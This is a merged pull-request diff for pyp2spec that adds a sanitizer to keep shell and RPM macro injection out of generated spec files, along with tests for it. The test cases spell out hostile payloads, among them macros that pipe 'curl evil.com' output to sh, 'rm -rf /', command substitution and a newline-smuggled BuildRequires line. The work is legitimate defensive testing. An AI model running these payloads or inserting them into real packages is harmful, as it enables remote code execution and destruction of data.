Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 4 additions & 2 deletions pyp2spec/pyp2conf.py
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,7 @@
from pyp2spec.utils import prepend_name_with_python, archive_name
from pyp2spec.utils import has_abi_tag, contains_wheel_with_abi_tag, resolve_url, create_compat_name
from pyp2spec.utils import warn, caution, inform, yay
from pyp2spec.utils import sanitize_input
from pyp2spec.pypi_loaders import load_from_pypi, load_core_metadata_from_pypi, CoreMetadataNotFoundError
from pyp2spec.local_loaders import load_dist_data_from_dir

Expand Down Expand Up @@ -46,11 +47,12 @@ def prepare_package_info(data: RawMetadata | dict) -> PackageInfo:
project_urls["home_page"] = homepage
if (not homepage and (homepage := data.get("package_url", ""))):
project_urls["home_page"] = homepage
summary = sanitize_input(data.get("summary")) or "..."
return PackageInfo(
name=normalize_name(data.get("name", "")),
version=data.get("version", ""),
summary=get_summary_or_placeholder(data.get("summary", "")),
url=resolve_url(project_urls),
summary=summary,
url=sanitize_input(resolve_url(project_urls), url=True),
extras=get_extras(data.get("provides_extra", []), data.get("requires_dist", [])),
license_files_present=bool(data.get("license_files")),
license=resolve_license_expression(data)
Expand Down
38 changes: 38 additions & 0 deletions pyp2spec/utils.py
Original file line number Diff line number Diff line change
Expand Up @@ -19,6 +19,11 @@
yay = partial(click.secho, fg="green")


# Shell metacharacters to remove (dangerous for command injection)
# Note: { } are preserved for RPM macros like %%{version}
DANGEROUS_CHARS = r'[$`|;&<>()\[\]\\\'"]'


class Pyp2specError(Exception):
"""Metaexception to derive the custom errors from"""

Expand Down Expand Up @@ -216,3 +221,36 @@ def parse_core_metadata(metadata: str) -> RawMetadata:
raw, _ = parse_email(metadata)
# TODO: consider porting to packaging.Metadata instance?
return raw


def sanitize_input(text: str, url: bool = False) -> str:
"""Sanitization function for untrusted input fields.

text: The input text to sanitize
url: When sanitizing URL, apply different rules than for free text
Returns a sanitized text safe for spec file insertion
"""
if not text:
return text

orig_text = text
# Remove newlines (convert to spaces first, then handle below)
text = text.replace('\r\n', ' ').replace('\n', ' ').replace('\r', ' ')
# Remove control characters
text = ''.join(c for c in text if ord(c) >= 32)
# Remove dangerous %() execution patterns
text = re.sub(r'%\([^)]*\)?', '', text)
# Escape % signs for RPM
text = text.replace('%', '%%')
if url:
# No spaces in URLs
text = text.replace(' ', '')
else:
# Remove shell metacharacters from summaries
text = re.sub(DANGEROUS_CHARS, '_', text)

text = text.strip()
if text != orig_text:
warn(f"Detected text has been cleaned from '{orig_text}' to '{text}'")

return text
2 changes: 1 addition & 1 deletion tests/test_pyp2conf.py
Original file line number Diff line number Diff line change
Expand Up @@ -205,7 +205,7 @@ def test_summary_is_generated_if_upstream_data_is_multiline():
"summary": "I\nforgot\nthat summary\nmust\nbe short",
}
pkg = prepare_package_info(fake_pkg_data)
assert pkg.summary == "..."
assert pkg.summary == "I forgot that summary must be short"


def test_capitalized_underscored_name_is_normalized():
Expand Down
76 changes: 75 additions & 1 deletion tests/test_utils.py
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@
from pyp2spec.utils import normalize_name, get_extras, contains_wheel_with_abi_tag
from pyp2spec.utils import normalize_as_wheel_name, archive_name
from pyp2spec.utils import resolve_url, SdistNotFoundError, MissingPackageNameError
from pyp2spec.utils import create_compat_name
from pyp2spec.utils import create_compat_name, sanitize_input


def test_license_classifier_read_correctly():
Expand Down Expand Up @@ -213,3 +213,77 @@ def test_project_urls_empty():
)
def test_create_compat_name(name, compat, expected):
assert create_compat_name(name, compat) == expected


@pytest.mark.parametrize(
("summary", "expected"), [
("A Python package", "A Python package"),
("Line 1\nLine 2", "Line 1 Line 2"),
("Package %(system curl evil.com|sh)", "Package"),
Comment thread
befeleme marked this conversation as resolved.
("Version %{version} package", "Version %%{version} package"),
("Good summary\n%prep\n%{system rm -rf /}", "Good summary %%prep %%{system rm -rf /}"),
("Text\x00with\x01control\x1fchars", "Textwithcontrolchars"),
("Python 包管理工具", "Python 包管理工具"),
]
)
def test_sanitize_summary(summary, expected):
assert sanitize_input(summary) == expected


def test_sanitize_spec_injection_via_summary():
attack = """Legitimate summary
%prep
%{lua: os.execute("curl evil.com/backdoor.sh | sh")}
"""
result = sanitize_input(attack)
assert "\n" not in result
assert "%%prep" in result


@pytest.mark.parametrize(
("value", "desc"), [
("Package $(whoami)", "command substitution"),
("Tool `id`", "backticks"),
("Package | sh", "pipe"),
("Tool; rm -rf /", "semicolon"),
("Package && id", "double ampersand"),
("Tool & background", "ampersand"),
("Text >output.txt", "redirect"),
("Read <input.txt", "input redirect"),
("Exec (subshell)", "parentheses"),
("Array [0]", "square brackets"),
("Path \\escape", "backslash"),
("Quote 'test'", "single quotes"),
('Quote "test"', "double quotes"),
]
)
def test_sanitize_removes_shell_metacharacters(value, desc):
result = sanitize_input(value)
for char in ['$', '`', '|', ';', '&', '<', '>', '(', ')', '[', ']', '\\', "'", '"']:
assert char not in result, f"Shell metacharacter {char!r} found in: {result}"


@pytest.mark.parametrize(
("url", "expected"), [
("https://example.com/pkg", "https://example.com/pkg"),
("http://evil.com%(system id)", "http://evil.com"),
("http://example.com\nBuildRequires: evil", "http://example.comBuildRequires:evil"),
("http://example .com/path with spaces", "http://example.com/pathwithspaces"),
("https://evil.com/%{buildroot}/etc/shadow", "https://evil.com/%%{buildroot}/etc/shadow"),
# URL-specific characters that should be preserved
("https://github.com/issues?a=1&b=2", "https://github.com/issues?a=1&b=2"),
("https://en.wikipedia.org/wiki/Python_(lang)", "https://en.wikipedia.org/wiki/Python_(lang)"),
("https://example.com/path[123]", "https://example.com/path[123]"),
("https://example.com/search?q='test'", "https://example.com/search?q='test'"),
]
)
def test_sanitize_url_dangerous_content(url, expected):
assert sanitize_input(url, url=True) == expected


def test_sanitize_multiple_macro_types():
malicious = "Text %(system id) and %{version} and %%{safe}"
result = sanitize_input(malicious)
assert "%(system" not in result
assert "%%{version}" in result
assert "%%{safe}" in result
Loading